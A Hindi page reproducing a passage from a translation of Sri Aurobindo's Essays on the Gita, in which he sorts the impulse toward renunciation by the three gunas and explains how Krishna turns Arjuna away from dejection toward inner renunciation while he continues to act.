गीता प्रबंध -अरविन्द पृ. 55

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गीता-प्रबंध
6.मनुष्य और जीवन-संग्राम

संन्यास की ओर जाने का आवेग तामसिक हो सकता है , अर्थात् क्लीवता , भय ,विद्वेष , जुगुप्सा, जगत् और जीवन से त्रास अनुभव होता हो ; अथवा हो सकता है कि यह तम की ओर झुका हुआ राजसिक गुण हो, अर्थात् संघर्ष से थकावट मालूम पडने लगी हो , शोक छा गया हो, निराशा उत्पन्न हो गयी हो और कष्ट तथा अनंत असंतोष से भरे हुए कर्म के इस व्यर्थ के हुल्लड़ को स्वीकार करने से जी उब गया हो ; अथवा हो सकता है कि यह सत्य की ओर झुका राजसिक आवेग हो , अर्थात् यह जीवन जो कुछ दे सकता है उससे किसी श्रेष्ठ वस्तु तक पहुंचने , किसी उच्चतर अवस्था पर विजय प्राप्त करने , समस्त बंधनों को तोडने वाली और समस्त सीमाओं को पार करने वाली किसी आंतरिक शक्ति के पैरों तले स्वयं जीवन को ही कुचल डालने का आवेग उठा हो ; अथवा हो सकता है कि यह सात्विक हो अर्थात् जीवन की निस्सारता का और इस जगत् - जीवन के , किसी सच्चे लक्ष्य या औचित्य के बिना ही , निरंतर चक्कर काटते रहने का एक बौद्धिक आभास हुआ हो या फिर उस सनातन , अनंत , निश्चल – नीरव , नाम - रूप - रहित परात्पर शांति का कोई आध्यात्मिक अनुभव हुआ हो और इसलिये जगत् – जीवन और कर्म से संन्यास ले लेने का आवेग उठा हो ।
अर्जुन को जो विराग हुआ है वह सत्य की ओर प्रवृत रजोगुणी पुरूष का कर्म से मामस विराग है । गुरू चाहे तो उसे इसी रास्ते पर स्थिर कर सकते हैं , इसी अंधेरे दरवाजे से विरक्त जीवन की शुद्धता और शांति में उसे प्रविष्ट कर सकते हैं ; अथवा इस वृत्ति को तुरंत शुद्ध करके वे उसे संन्यास की सात्विक प्रवृति के अतिउच्च शिखरों पर चढा सकते हैं । पर वास्तव में वे इन दोनों में से एक भी नहीं करते । गुरू उसके तामस विराग और संन्यास ग्रहण करने की प्रवृति से उसका चित फेरते हैं और कर्म को ही जारी रखने के लिये कहते है और वह भी उसी भीषण और घोर कर्म को। परंतु इसके साथ ही इसे एक दूसरे और ऐसे आंतरिक वैराग्य का निर्देश करते हैं जो उसके संकट का सच्चा निराकरण है , और जो विश्व प्रकृति पर जीवन की श्रेष्ठता स्थापित करने का रास्ता है और यह होते हुए भी मुनष्यों को स्थिर और आत्म - अधिकृत कर्म में प्रवृत्त रखता है । शारीरिक नहीं , बल्कि आंतरिक तपस्या ही गीता में अभिप्रेत है।


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टीका टिप्पणी और संदर्भ

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